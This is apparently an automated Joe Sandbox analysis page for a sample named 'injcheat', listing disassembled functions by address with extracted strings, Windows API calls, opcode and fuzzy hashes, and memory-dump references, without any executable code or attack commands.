Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: 3<$:$LTDV
API String ID: 0-2797654093
Opcode ID: 9e7e827bec4cf70078eb32fa0fd477bc959d63c8314f3fba064201532e789eb4
Instruction ID: c170ccd5b4766b292035f2f7df327a802223632e43bbd344f428ee52141d37ba
Opcode Fuzzy Hash: 9e7e827bec4cf70078eb32fa0fd477bc959d63c8314f3fba064201532e789eb4
Instruction Fuzzy Hash: 88717874005B81CBDB628F29D590B22BBE1FF16344F585899E8D68FA97C335F805CB62

Function 0086EFDD Relevance: 4.0, Strings: 3, Instructions: 243COMMON

Download Yara Rule

Strings

3<, xrefs: 0086F1B6
LTDV, xrefs: 0086EFE8
:, xrefs: 0086F1BD

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: 3<$:$LTDV
API String ID: 0-2797654093
Opcode ID: 55370f4e5b9aebffe46f1c775ac834abbae90c9ef6c8401be1cb76cf2d82a942
Instruction ID: 0ba815d6113725c2bcc5ad2213fbec77dd515b2c4a002aa07f8441d75f6f034e
Opcode Fuzzy Hash: 55370f4e5b9aebffe46f1c775ac834abbae90c9ef6c8401be1cb76cf2d82a942
Instruction Fuzzy Hash: 89617674005781CBDB628F29D990B22BBE1FF17344F585899E8D68FA97C335E805CB62

Function 0086BF38 Relevance: 3.8, Strings: 3, Instructions: 67COMMON

Download Yara Rule

Strings

J\KR, xrefs: 0086BF58
^XF^, xrefs: 0086BF93
:, xrefs: 0086BF67

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: :$J\KR$^XF^
API String ID: 0-4266130588
Opcode ID: 64bd0f38261b9b9006df79643b90736e476ce14dd74394cd61dbc2cb2afcfc2a
Instruction ID: ca7ab08c4d714e78a456f355054eb5979c7e7561f31805b5395e10e46aae4b51
Opcode Fuzzy Hash: 64bd0f38261b9b9006df79643b90736e476ce14dd74394cd61dbc2cb2afcfc2a
Instruction Fuzzy Hash: 0A21277400C3948BD312DF258490A2AFBE5FF86748F1A495CE4D4CB261CB36D9069B63

Function 0081FC50 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99e95624fae165198e6f17b606c961246888805ad5d0b8033cb6324ba05d7f93
Instruction ID: 2d62d3a8eaa8bbd747dbbfc832d9eb3862d1915029f14061f80255e7ef6c5eb5
Opcode Fuzzy Hash: 99e95624fae165198e6f17b606c961246888805ad5d0b8033cb6324ba05d7f93
Instruction Fuzzy Hash: 84F14B71E006199FDF14CF68D880AADB7B5FF88314F158269E919EB392DB30AD458F90

Function 0087FF20 Relevance: 3.1, Strings: 2, Instructions: 577COMMON

Download Yara Rule

Strings

f, xrefs: 008800EC
%*+(, xrefs: 0087FF84, 0087FF8D

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %*+($f
API String ID: 0-2038831151
Opcode ID: 89d37b99ddcec098b1c0d00c9a8877e78529c77cf73c3d1d79a6a6d3dd0eea3c
Instruction ID: ddea71fc9edc4796cab30b7713d2a3ed3513177e0df538dc535355c8f7d760d3
Opcode Fuzzy Hash: 89d37b99ddcec098b1c0d00c9a8877e78529c77cf73c3d1d79a6a6d3dd0eea3c
Instruction Fuzzy Hash: E8129B716083419FC755EF18C890B2EBBE5FB89314F188A2CE495DB292D731E909CF92

Function 0085BEBF Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

BaBc, xrefs: 0085C077
Ye[g, xrefs: 0085BFD6

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: BaBc$Ye[g
API String ID: 0-286865133
Opcode ID: f1f7f391700c1d153706023ea2e533e08aec07d0302d054125fe460e923244f9
Instruction ID: 1c78744f1bf199eb526a91ad96c2b879e3547f1c10f40a95176890e8a41cb7e7
Opcode Fuzzy Hash: f1f7f391700c1d153706023ea2e533e08aec07d0302d054125fe460e923244f9
Instruction Fuzzy Hash: 6551ACB16083858BC731CF18C881BABB7E0FF96315F18491DE89ACB691E7749848CB57

Function 0086FF20 Relevance: 2.6, Strings: 2, Instructions: 128COMMON

Download Yara Rule

Strings

%*+(, xrefs: 0086FFCF
40F9, xrefs: 0086FF29

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %*+($40F9
API String ID: 0-4141425864
Opcode ID: e36d9df26ce8d8e7db79f00bc2036a7f7c8980a0d99b81a382e9f2e5388ff683
Instruction ID: 9456e36db2bce19c25152d5e01ef9d19658a68cddb681e78d9bcf3525a2d67a3
Opcode Fuzzy Hash: e36d9df26ce8d8e7db79f00bc2036a7f7c8980a0d99b81a382e9f2e5388ff683
Instruction Fuzzy Hash: 0E41A970411B41CBD7258F24D590B26BBB2FF02309F68A45DE4869BA92CB32F806CB65

Function 0083CEE0 Relevance: 2.5, Strings: 1, Instructions: 1295COMMON

Download Yara Rule

Strings

@, xrefs: 0083EB20

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: b9ab761e06cb60054b554ba1fd181e1af7336824aa7e9b9d9034564fed5e9b5a
Instruction ID: 956cc7b773b9c5e742ab2f74d472035d19da48fc694f1905185af0ab5d965aa1
Opcode Fuzzy Hash: b9ab761e06cb60054b554ba1fd181e1af7336824aa7e9b9d9034564fed5e9b5a
Instruction Fuzzy Hash: 7892CF31A087518FD718CE28C89436ABBE2FBD5314F188A2DE999C7392D774D945CBC2

Function 0082548C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00825487,?,?,00000008,?,?,00831345,00000000), ref: 008256B9

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0e08e1bac2a23f66fdd51557192084c2aaab4eb8b3e82ec27f5afd277931151e
Instruction ID: c525bd07ffb8ff8325c0ef66aafd7eb295f1bab056d6f3741897c4cee736fe57
Opcode Fuzzy Hash: 0e08e1bac2a23f66fdd51557192084c2aaab4eb8b3e82ec27f5afd277931151e
Instruction Fuzzy Hash: 4EB17D31650A18DFD718CF2CD48AB647BE1FF45364F698658E89ACF2A1C335E982CB40

Function 00816FFC Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00817012

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: c35261be6b4de07e1a0a307eb6956173990ed98bfad6b23423bd70c393b02fde
Instruction ID: 1d3414943f44767d7aa3b68e2d7fb6d52b08d9fe99fc08225d602e25283e7bc3
Opcode Fuzzy Hash: c35261be6b4de07e1a0a307eb6956173990ed98bfad6b23423bd70c393b02fde
Instruction Fuzzy Hash: 8AA17CB2904A45CFDB59CFA8D9927ADBBB4FB88314F18852ED519E7360D3349980CF50

Function 0086D1B0 Relevance: 1.7, Strings: 1, Instructions: 484COMMON

Download Yara Rule

Strings

", xrefs: 0086D4B1

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 1e36e4a90a5bcd9904d9a2755a98640d2f51fe7f53356f7c076c40d918f289ea
Instruction ID: e3633842466d66a44146d5e510d9c329b1e6cbbddb3e9e7061ff5b6896e87900
Opcode Fuzzy Hash: 1e36e4a90a5bcd9904d9a2755a98640d2f51fe7f53356f7c076c40d918f289ea
Instruction Fuzzy Hash: 5BF11471F083459BC724CE29C491A2BBBD6FBC5314F1A896DE899CB382DA34DD058792

Function 00863D40 Relevance: 1.7, Strings: 1, Instructions: 425COMMON

Download Yara Rule

Strings

%*+(, xrefs: 00864143, 0086414B

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: ccee2a807569c25fde004874fc692891e8030e5aaea5b8ac7fbb6ff0169ecf93
Instruction ID: e9beddb36ef467e739e2f97c7c468af96a874ef16d727f09cec13270144f532d
Opcode Fuzzy Hash: ccee2a807569c25fde004874fc692891e8030e5aaea5b8ac7fbb6ff0169ecf93
Instruction Fuzzy Hash: 58C1A971508210ABD710AB18D881A2FBBF5FF96754F1A8818F9C5DB252E335DD50CB63

Function 0086F81B Relevance: 1.6, Strings: 1, Instructions: 363COMMON

Download Yara Rule

Strings

Zvt~, xrefs: 0086F827

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: Zvt~
API String ID: 0-694600945
Opcode ID: a6c653d8a13b2bff62d9e48921e2962895175bf4283dfb7f1703a331fac975e3
Instruction ID: ee15dd748c556ee056a2c5f5e6de0575e2db694c9c902cba5c213e1fadbb52e6
Opcode Fuzzy Hash: a6c653d8a13b2bff62d9e48921e2962895175bf4283dfb7f1703a331fac975e3
Instruction Fuzzy Hash: FBC159701057818FD7668F28D190B22BBE1FF56304F5898ADD4DA8B793C736E802CB54

Function 0082981D Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 289ea4d9f58f7dd114317804f9819e8fe154291dfdd42ff11e16818ef8648360
Instruction ID: ecd8be67f68f5d1bc6532eae12fb82a35b7ab27c1f9724ffb368fbeac57084e0
Opcode Fuzzy Hash: 289ea4d9f58f7dd114317804f9819e8fe154291dfdd42ff11e16818ef8648360
Instruction Fuzzy Hash: 1E31C472900229AFCB24DFB8DC89DABBBADFF85314F144569F955D7240EA309E808B50

Function 00868BB0 Relevance: 1.6, Strings: 1, Instructions: 357COMMON

Download Yara Rule

Strings

%*+(, xrefs: 00868CA3, 00868CAB

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: f162ee7309057f34a05e18a7188bb59e25b4a99871efe8703988e1fac2c245e9
Instruction ID: c51aa07f5079a2927966653181a04cc277fa756ea5820f012df880f6b59665fc
Opcode Fuzzy Hash: f162ee7309057f34a05e18a7188bb59e25b4a99871efe8703988e1fac2c245e9
Instruction Fuzzy Hash: 2BB1EE70A09305DBD714EF18D890A2BB7E2FF95344F154A2CE5C9CB292EB35D854CBA2

Function 0081C852 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 0081C9E0

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 3b0555250c8e50a4aad4811d3f005eafa475c9edb72f480a8da4ed147c0a4136
Instruction ID: c7629912d5b77f0899b40e97a5e3db3339a666fb395d36f75302635c5cce13aa
Opcode Fuzzy Hash: 3b0555250c8e50a4aad4811d3f005eafa475c9edb72f480a8da4ed147c0a4136
Instruction Fuzzy Hash: 95C1AC7098064A8FCB29CF68C481AFEBBA9FF45314F144619D496DB291C730EDC5CB92

Function 0082C449 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00824C11: GetLastError.KERNEL32(?,00000008,008291E0), ref: 00824C15
Part of subcall function 00824C11: SetLastError.KERNEL32(00000000,0083B480,00000024,00820179), ref: 00824CB7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0082C49D

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 64838a7832a760ef8ad9047bd0eb1c7e2ad326a9429ed325f7279213a166ce03
Instruction ID: 1fa52ea9b7891240ff386a1f31145fde6e745b178d92968cafe9128484e7c922
Opcode Fuzzy Hash: 64838a7832a760ef8ad9047bd0eb1c7e2ad326a9429ed325f7279213a166ce03
Instruction Fuzzy Hash: FC21B372605126ABDF28AA28ED55ABF33A8FF48314F10007AFD06D6241EB74ED80C750

Function 00883EA0 Relevance: 1.6, Strings: 1, Instructions: 331COMMON

Download Yara Rule

Strings

P, xrefs: 00884047

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: b4fda1ba9dc91e6581218cfb9f953b2bbd6cc257535fdb74648dd629dc9337cc
Instruction ID: 3c1f2d5fff63cf4b536103f175b22b7d2daa807e37929cb42917d889647a78a7
Opcode Fuzzy Hash: b4fda1ba9dc91e6581218cfb9f953b2bbd6cc257535fdb74648dd629dc9337cc
Instruction Fuzzy Hash: E8B1EF725083668FC725DE18D880B2EB7E1FB85718F158A2CE8A59B381D775DC45CBC2

Function 0082C0D0 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00824C11: GetLastError.KERNEL32(?,00000008,008291E0), ref: 00824C15
Part of subcall function 00824C11: SetLastError.KERNEL32(00000000,0083B480,00000024,00820179), ref: 00824CB7

EnumSystemLocalesW.KERNEL32(0082C1F6,00000001,00000000,?,-00000050,?,0082C827,00000000,?,?,?,00000055,?), ref: 0082C142

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 32b64fa0917367c06475c616e50faec128a03e2e018822085ec9dee52f367062
Instruction ID: 9cb88064f454d477eafc7290bf6cff04a9056cbccccbf857c51755765009388d
Opcode Fuzzy Hash: 32b64fa0917367c06475c616e50faec128a03e2e018822085ec9dee52f367062
Instruction Fuzzy Hash: 6C1129372007019FDB189F39D8A257EB791FF84318B14442CE947C7B41E371A992C740

Function 0082C678 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00824C11: GetLastError.KERNEL32(?,00000008,008291E0), ref: 00824C15
Part of subcall function 00824C11: SetLastError.KERNEL32(00000000,0083B480,00000024,00820179), ref: 00824CB7

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0082C412,00000000,00000000,?), ref: 0082C6A4

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
